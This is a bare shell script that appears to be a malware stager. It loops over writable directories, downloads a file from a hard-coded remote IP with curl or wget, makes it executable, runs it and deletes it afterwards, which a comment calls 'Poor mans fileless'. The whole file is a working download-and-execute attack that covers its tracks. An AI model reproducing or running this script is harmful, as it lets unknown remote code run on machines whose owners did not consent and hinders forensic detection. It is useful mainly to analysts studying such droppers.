#!/bin/sh
export PATH="$PATH:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/sbin"


for i in "~" "." $(find / -maxdepth 3 -type d \( -perm -o+w \)); do

    if ! touch $i/2; then 
        continue
    fi

    if command -v curl &> /dev/null; then
        curl http://177.4.10.40:3232/2 -o "$i/2"
    elif command -v  wget &> /dev/null; then
        wget -O "$i/2" http://177.4.10.40:3232/2
    fi

    chmod +x "$i/2"
    if ! "$i/2"; then 
        continue
    fi
    #Poor mans fileless
    rm "$i/2"

    break
done
